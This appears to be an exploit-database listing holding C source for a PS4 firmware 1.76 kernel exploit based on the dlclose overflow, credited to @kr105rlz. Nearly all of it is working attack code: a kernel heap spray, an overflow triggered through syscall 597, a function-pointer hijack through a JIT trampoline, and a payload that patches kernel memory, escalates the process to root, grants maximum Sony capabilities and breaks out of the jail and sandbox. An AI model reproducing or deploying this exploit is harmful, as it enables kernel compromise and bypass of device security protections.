Sony Playstation 4 (PS4) 1.76 - 'dlclose' Linux Loader



EKU-ID: 7402 CVE: OSVDB-ID:
Author: Carlos Pizarro Published: 2018-03-01 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


/*
    Code written based on info available here http://cturt.github.io/dlclose-overflow.html
 
    See attached LICENCE file
    Thanks to CTurt and qwertyoruiop
 
    - @kr105rlz
 
Download: //github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/44206.zip
*/
 
#include "ps4.h"
 
#define DEBUG_SOCKET
#include "defines.h"
 
static int sock;
static void *dump;
 
void payload(struct knote *kn) {
    struct thread *td;
    struct ucred *cred;
 
    // Get td pointer
    asm volatile("mov %0, %%gs:0" : "=r"(td));
 
    // Enable UART output
    uint16_t *securityflags = (uint16_t*)0xFFFFFFFF833242F6;
    *securityflags = *securityflags & ~(1 << 15); // bootparam_disable_console_output = 0
 
    // Print test message to the UART line
    printfkernel("\n\n\n\n\n\n\n\n\nHello from kernel :-)\n\n\n\n\n\n\n\n\n");
 
    // Disable write protection
    uint64_t cr0 = readCr0();
    writeCr0(cr0 & ~X86_CR0_WP);
    
    // sysctl_machdep_rcmgr_debug_menu and sysctl_machdep_rcmgr_store_moe
    *(uint16_t *)0xFFFFFFFF82607C46 = 0x9090;
    *(uint16_t *)0xFFFFFFFF82607826 = 0x9090;
    
    *(char *)0xFFFFFFFF8332431A = 1;
    *(char *)0xFFFFFFFF83324338 = 1;
    
    // Restore write protection
    writeCr0(cr0);
    
    // Resolve creds
    cred = td->td_proc->p_ucred;
 
    // Escalate process to root
    cred->cr_uid = 0;
    cred->cr_ruid = 0;
    cred->cr_rgid = 0;
    cred->cr_groups[0] = 0;
 
    void *td_ucred = *(void **)(((char *)td) + 304); // p_ucred == td_ucred
    
    // sceSblACMgrIsSystemUcred
    uint64_t *sonyCred = (uint64_t *)(((char *)td_ucred) + 96);
    *sonyCred = 0xffffffffffffffff;
    
    // sceSblACMgrGetDeviceAccessType
    uint64_t *sceProcType = (uint64_t *)(((char *)td_ucred) + 88);
    *sceProcType = 0x3801000000000013; // Max access
    
    // sceSblACMgrHasSceProcessCapability
    uint64_t *sceProcCap = (uint64_t *)(((char *)td_ucred) + 104);
    *sceProcCap = 0xffffffffffffffff; // Sce Process
    
    ((uint64_t *)0xFFFFFFFF832CC2E8)[0] = 0x123456; //priv_check_cred bypass with suser_enabled=true
    ((uint64_t *)0xFFFFFFFF8323DA18)[0] = 0; // bypass priv_check
 
    // Jailbreak ;)
    cred->cr_prison = (void *)0xFFFFFFFF83237250; //&prison0
 
    // Break out of the sandbox
    void *td_fdp = *(void **)(((char *)td->td_proc) + 72);
    uint64_t *td_fdp_fd_rdir = (uint64_t *)(((char *)td_fdp) + 24);
    uint64_t *td_fdp_fd_jdir = (uint64_t *)(((char *)td_fdp) + 32);
    uint64_t *rootvnode = (uint64_t *)0xFFFFFFFF832EF920;
    *td_fdp_fd_rdir = *rootvnode;
    *td_fdp_fd_jdir = *rootvnode;
}
 
// Perform kernel allocation aligned to 0x800 bytes
int kernelAllocation(size_t size, int fd) {
    SceKernelEqueue queue = 0;
    sceKernelCreateEqueue(&queue, "kexec");
 
    sceKernelAddReadEvent(queue, fd, 0, NULL);
 
    return queue;
}
 
void kernelFree(int allocation) {
    close(allocation);
}
 
void *exploitThread(void *none) {
    printfsocket("[+] Entered exploitThread\n");
 
    uint64_t bufferSize = 0x8000;
    uint64_t overflowSize = 0x8000;
    uint64_t copySize = bufferSize + overflowSize;
    
    // Round up to nearest multiple of PAGE_SIZE
    uint64_t mappingSize = (copySize + PAGE_SIZE - 1) & ~(PAGE_SIZE - 1);
    
    uint8_t *mapping = mmap(NULL, mappingSize + PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    munmap(mapping + mappingSize, PAGE_SIZE);
    
    uint8_t *buffer = mapping + mappingSize - copySize;
    
    int64_t count = (0x100000000 + bufferSize) / 4;
 
    // Create structures
    struct knote kn;
    struct filterops fo;
    struct knote **overflow = (struct knote **)(buffer + bufferSize);
    overflow[2] = &kn;
    kn.kn_fop = &fo;
 
    // Setup trampoline to gracefully return to the calling thread
    void *trampw = NULL;
    void *trampe = NULL;
    int executableHandle;
    int writableHandle;
    uint8_t trampolinecode[] = {
        0x58, // pop rax
        0x48, 0xB8, 0x19, 0x39, 0x40, 0x82, 0xFF, 0xFF, 0xFF, 0xFF, // movabs rax, 0xffffffff82403919
        0x50, // push rax
        0x48, 0xB8, 0xBE, 0xBA, 0xAD, 0xDE, 0xDE, 0xC0, 0xAD, 0xDE, // movabs rax, 0xdeadc0dedeadbabe
        0xFF, 0xE0 // jmp rax
    };
 
    // Get Jit memory
    sceKernelJitCreateSharedMemory(0, PAGE_SIZE, PROT_CPU_READ | PROT_CPU_WRITE | PROT_CPU_EXEC, &executableHandle);
    sceKernelJitCreateAliasOfSharedMemory(executableHandle, PROT_CPU_READ | PROT_CPU_WRITE, &writableHandle);
 
    // Map r+w & r+e
    trampe = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_EXEC, MAP_SHARED, executableHandle, 0);
    trampw = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_TYPE, writableHandle, 0);
 
    // Copy trampoline to allocated address
    memcpy(trampw, trampolinecode, sizeof(trampolinecode));
    *(void **)(trampw + 14) = (void *)payload;
 
    // Call trampoline when overflown
    fo.f_detach = trampe;
 
    // Start the exploit
    int sockets[0x2000];
    int allocation[50], m = 0, m2 = 0;
    int fd = (bufferSize - 0x800) / 8;
 
    printfsocket("[+] Creating %d sockets\n", fd);
 
    // Create sockets
    for(int i = 0; i < 0x2000; i++) {
        sockets[i] = sceNetSocket("sss", AF_INET, SOCK_STREAM, 0);
        if(sockets[i] >= fd) {
            sockets[i + 1] = -1;
            break;
        }
    }
 
    // Spray the heap
    for(int i = 0; i < 50; i++) {
        allocation[i] = kernelAllocation(bufferSize, fd);
        printfsocket("[+] allocation = %llp\n", allocation[i]);
    }
 
    // Create hole for the system call's allocation
    m = kernelAllocation(bufferSize, fd);
    m2 = kernelAllocation(bufferSize, fd);
    kernelFree(m);
 
    // Perform the overflow
    int result = syscall(597, 1, mapping, &count);
    printfsocket("[+] Result: %d\n", result);
 
    // Execute the payload
    printfsocket("[+] Freeing m2\n");
    kernelFree(m2);
    
    // Close sockets
    for(int i = 0; i < 0x2000; i++) {
        if(sockets[i] == -1)
            break;
        sceNetSocketClose(sockets[i]);
    }
    
    // Free allocations
    for(int i = 0; i < 50; i++) {
        kernelFree(allocation[i]);
    }
    
    // Free the mapping
    munmap(mapping, mappingSize);
    
    return NULL;
}
 
int _main(void) {
    ScePthread thread;
 
    initKernel();  
    initLibc();
    initNetwork();
    initJIT();
    initPthread();
 
#ifdef DEBUG_SOCKET
    struct sockaddr_in server;
 
    server.sin_len = sizeof(server);
    server.sin_family = AF_INET;
    server.sin_addr.s_addr = IP(192, 168, 0, 4);
    server.sin_port = sceNetHtons(9023);
    memset(server.sin_zero, 0, sizeof(server.sin_zero));
    sock = sceNetSocket("debug", AF_INET, SOCK_STREAM, 0);
    sceNetConnect(sock, (struct sockaddr *)&server, sizeof(server));
    
    int flag = 1;
    sceNetSetsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char *)&flag, sizeof(int));
    
    dump = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
#endif
 
    printfsocket("[+] Starting...\n");
    printfsocket("[+] UID = %d\n", getuid());
    printfsocket("[+] GID = %d\n", getgid());
 
    // Create exploit thread
    if(scePthreadCreate(&thread, NULL, exploitThread, NULL, "exploitThread") != 0) {
        printfsocket("[-] pthread_create error\n");
        return 0;
    }
 
    // Wait for thread to exit
    scePthreadJoin(thread, NULL);
 
    // At this point we should have root and jailbreak
    if(getuid() != 0) {
        printfsocket("[-] Kernel patch failed!\n");
        sceNetSocketClose(sock);
        return 1;
    }
 
    printfsocket("[+] Kernel patch success!\n");
 
    // Enable debug menu
    int (*sysctlbyname)(const char *name, void *oldp, size_t *oldlenp, const void *newp, size_t newlen) = NULL;
    RESOLVE(libKernelHandle, sysctlbyname);
    
    uint32_t enable;
    size_t size;
    
    enable = 1;
    size = sizeof(enable);
    
    sysctlbyname("machdep.rcmgr_utoken_store_mode", NULL, NULL, &enable, size);
    sysctlbyname("machdep.rcmgr_debug_menu", NULL, NULL, &enable, size);
    
#ifdef DEBUG_SOCKET
    munmap(dump, PAGE_SIZE);   
#endif
    
    printfsocket("[+] bye\n");
    sceNetSocketClose(sock);
    
    return 0;
}